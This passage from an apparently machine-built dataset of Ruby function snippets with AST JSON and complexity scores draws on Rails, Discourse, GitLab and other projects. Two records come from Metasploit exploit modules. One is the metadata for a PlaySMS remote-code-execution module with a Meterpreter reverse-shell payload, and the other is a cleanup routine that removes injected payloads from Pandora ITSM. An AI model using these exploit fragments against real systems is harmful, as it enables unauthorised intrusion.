<touhidshaikh22[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"DarkS3curity\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"42003\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-9080\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.youtube.com/watch?v=MuYoImvfpew\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://touhidshaikh.com/blog/?p=336\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"php/meterpreter/reverse_tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ENCODER\"]},{\"type\":\"str\",\"children\":[\"php/base64\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PlaySMS 1.4\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-05-21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base playsms directory path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]}]}]}","id":"6f3992ae-f369-498b-8377-8b2b5e9600c5"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/workers/evm_server.rb","start_line":253,"raw_source":"def clear_queue\n #############################################################\n # Clear the MiqQueue for server and its workers\n #############################################################\n @current_server.clean_stop_worker_queue_items\n @current_server.clear_miq_queue_for_this_server\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_server\"]},\"clean_stop_worker_queue_items\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_server\"]},\"clear_miq_queue_for_this_server\"]}]}]}","id":"9fe6ab0e-42f9-4e88-a4f7-17f8f8b3637f"} {"repo_name":"ahoy","file_path":"./repos/ahoy/test/test_helper.rb","start_line":46,"raw_source":"def setup\n Ahoy::Visit.delete_all\n Ahoy::Event.delete_all\n User.delete_all\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]},\"delete_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Event\"]},\"delete_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"delete_all\"]}]}]}","id":"c1d3bfa4-3beb-4354-b4e0-543cd132bac0"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/join_dependency/join_association.rb","start_line":13,"raw_source":"def initialize(reflection, children)\n super(reflection.klass, children)\n\n @reflection = reflection\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reflection\"]},{\"type\":\"arg\",\"children\":[\"children\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"klass\"]},{\"type\":\"lvar\",\"children\":[\"children\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@reflection\",{\"type\":\"lvar\",\"children\":[\"reflection\"]}]}]}]}","id":"1c7704c0-1f91-4f7b-b428-888c4d208afd"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140731011328_add_reply_quoted_to_posts.rb","start_line":4,"raw_source":"def up\n add_column :posts, :reply_quoted, :boolean, null: false, default: false\n execute \"UPDATE posts p\n SET reply_quoted = true\n WHERE EXISTS(\n SELECT 1 FROM quoted_posts q\n JOIN posts p1 ON p1.post_number = p.reply_to_post_number AND p1.topic_id = p.topic_id\n WHERE q.post_id = p.id AND q.quoted_post_id = p1.id\n ) AND p.reply_to_post_number IS NOT NULL\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"sym\",\"children\":[\"reply_quoted\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE posts p\\n\"]},{\"type\":\"str\",\"children\":[\" SET reply_quoted = true\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE EXISTS(\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT 1 FROM quoted_posts q\\n\"]},{\"type\":\"str\",\"children\":[\" JOIN posts p1 ON p1.post_number = p.reply_to_post_number AND p1.topic_id = p.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE q.post_id = p.id AND q.quoted_post_id = p1.id\\n\"]},{\"type\":\"str\",\"children\":[\" ) AND p.reply_to_post_number IS NOT NULL\"]}]}]}]}]}","id":"61d35383-12e1-4b2c-b4e8-07d714493974"} {"repo_name":"forem","file_path":"./repos/forem/app/services/users/cancel_stripe_subscriptions.rb","start_line":3,"raw_source":"def self.call(user)\n new(user).call\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"call\"]}]}","id":"aad32438-e5ef-4a26-9255-d4d2833fc4b2"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pandora_itsm_auth_rce_cve_2025_4653.rb","start_line":190,"raw_source":"def clean_rce_payload(payload)\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'sec' => 'godmode',\n 'sec2' => 'enterprise/godmode/setup/integria_backup'\n }\n })\n\n unless res&.code == 200 && res.body.include?(payload.slice(0..4)) # just take the first 5 chars (;echo) as match\n vprint_status('No payload entries found at the backup list.')\n return\n end\n\n html = res.get_html_document\n target_rows = html.css('table.dataTable tbody tr').select do |row|\n name_backup = row.at_css('td')\n name_backup && name_backup.text.strip.include?(payload.slice(0..4))\n end\n\n # Get the backup entry based on the href from <a> tags with an onclick attribute\n if target_rows.any?\n backup_entry = target_rows.flat_map do |row|\n row.css('a[onclick]').map { |a| a['href'] }\n end\n else\n vprint_status('No payload entries found at the backup list.')\n return\n end\n vprint_status(backup_entry.to_s)\n success = true\n backup_entry.each do |entry|\n id_bk_param = entry.match(/id_bk=\\d*/)\n next unless id_bk_param\n\n id_bk = id_bk_param[0].split('=')\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'sec' => 'godmode',\n 'sec2' => 'enterprise/godmode/setup/integria_backup',\n 'offset' => 0,\n 'remove' => 1,\n id_bk[0].to_s => id_bk[1].to_s\n }\n })\n success = false unless res&.code == 200 && !res.body.include?(id_bk_param.to_s)\n end\n if success\n print_good('Payload entries successfully removed from backup list.')\n else\n print_warning('Payload entries might not be removed from backup list. Check and try to clean it manually.')\n end\n end","complexity_score":86.1,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_rce_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec\"]},{\"type\":\"str\",\"children\":[\"godmode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec2\"]},{\"type\":\"str\",\"children\":[\"enterprise/godmode/setup/integria_backup\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"slice\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"No payload entries found at the backup list.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_rows\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"css\",{\"type\":\"str\",\"children\":[\"table.dataTable tbody tr\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name_backup\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"at_css\",{\"type\":\"str\",\"children\":[\"td\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name_backup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name_backup\"]},\"text\"]},\"strip\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"slice\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_rows\"]},\"any?\"]},{\"type\":\"lvasgn\",\"children\":[\"backup_entry\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_rows\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"css\",{\"type\":\"str\",\"children\":[\"a[onclick]\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"No payload entries found at the backup list.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_entry\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_entry\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id_bk_param\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"id_bk=\\\\d*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_bk_param\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"id_bk\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_bk_param\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec\"]},{\"type\":\"str\",\"children\":[\"godmode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec2\"]},{\"type\":\"str\",\"children\":[\"enterprise/godmode/setup/integria_backup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"remove\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_bk\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_bk\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_s\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_bk_param\"]},\"to_s\"]}]},\"!\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Payload entries successfully removed from backup list.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Payload entries might not be removed from backup list. Check and try to clean it manually.\"]}]}]}]}]}","id":"b211da78-4add-44c4-a69c-c94f47cec31b"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/helpers/rb_common_helper.rb","start_line":188,"raw_source":"def available_statuses_by_type\n @available_statuses_by_type ||= begin\n available_statuses_by_type = Hash.new do |type_hash, type|\n type_hash[type] = Hash.new do |status_hash, status|\n status_hash[status] = [status]\n end\n end\n\n all_workflows.each do |w|\n type_status = available_statuses_by_type[story_types_by_id[w.type_id]][w.old_status]\n\n type_status << w.new_status unless type_status.include?(w.new_status)\n end\n\n available_statuses_by_type\n end\n end","complexity_score":30.9,"ast_json":"{\"type\":\"def\",\"children\":[\"available_statuses_by_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@available_statuses_by_type\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"available_statuses_by_type\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type_hash\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status_hash\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_workflows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type_status\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_statuses_by_type\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"story_types_by_id\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"type_id\"]}]}]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"old_status\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_status\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"new_status\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_status\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"new_status\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"available_statuses_by_type\"]}]}]}]}","id":"028afc1c-600e-4aa5-9418-4403edcd58fc"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/concerns/chat/chatable.rb","start_line":21,"raw_source":"def channel_class\n case self\n when Chat::DirectMessage\n Chat::DirectMessageChannel\n when Category\n Chat::CategoryChannel\n else\n raise(\"Unknown chatable #{self}\")\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"channel_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"DirectMessage\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"DirectMessageChannel\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"CategoryChannel\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown chatable \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]}]}]}]}","id":"4b133cc6-bb75-43aa-91f8-0c8bacd40ec3"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_rake_test.rb","start_line":292,"raw_source":"def test_db_retrieves_charset\n ActiveRecord::Base.stub(:lease_connection, @connection) do\n assert_called(@connection, :encoding) do\n ActiveRecord::Tasks::DatabaseTasks.charset @configuration\n end\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_db_retrieves_charset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"lease_connection\"]},{\"type\":\"ivar\",\"children\":[\"@connection\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called\",{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"sym\",\"children\":[\"encoding\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"charset\",{\"type\":\"ivar\",\"children\":[\"@configuration\"]}]}]}]}]}","id":"c9c3b89f-ae52-4c6f-8798-8c186490d6a8"} {"repo_name":"ahoy","file_path":"./repos/ahoy/test/geocode_test.rb","start_line":50,"raw_source":"def test_geocode_failed\n with_options(geocode: true) do\n assert_enqueued_with(job: Ahoy::GeocodeV2Job, queue: \"ahoy\") do\n get products_url\n end\n visit = Ahoy::Visit.last\n Geocoder.stub(:search, []) do\n perform_enqueued_jobs\n end\n visit.reload\n assert_nil visit.country\n assert_nil visit.region\n assert_nil visit.city\n assert_nil visit.latitude\n assert_nil visit.longitude\n end\n end","complexity_score":27.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_geocode_failed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"geocode\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"GeocodeV2Job\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"ahoy\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"products_url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]},\"last\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Geocoder\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit\"]},\"country\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit\"]},\"region\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit\"]},\"city\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit\"]},\"latitude\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit\"]},\"longitude\"]}]}]}]}]}","id":"6bbb27fa-bed1-4dee-bdd6-7031538f688e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-http/lib/gitlab/http_v2/url_blocker.rb","start_line":353,"raw_source":"def validate_local_network(addrs_info)\n return unless addrs_info.any? { |addr| addr.ipv4_private? || addr.ipv6_sitelocal? || addr.ipv6_unique_local? }\n\n raise BlockedUrlError, \"Requests to the local network are not 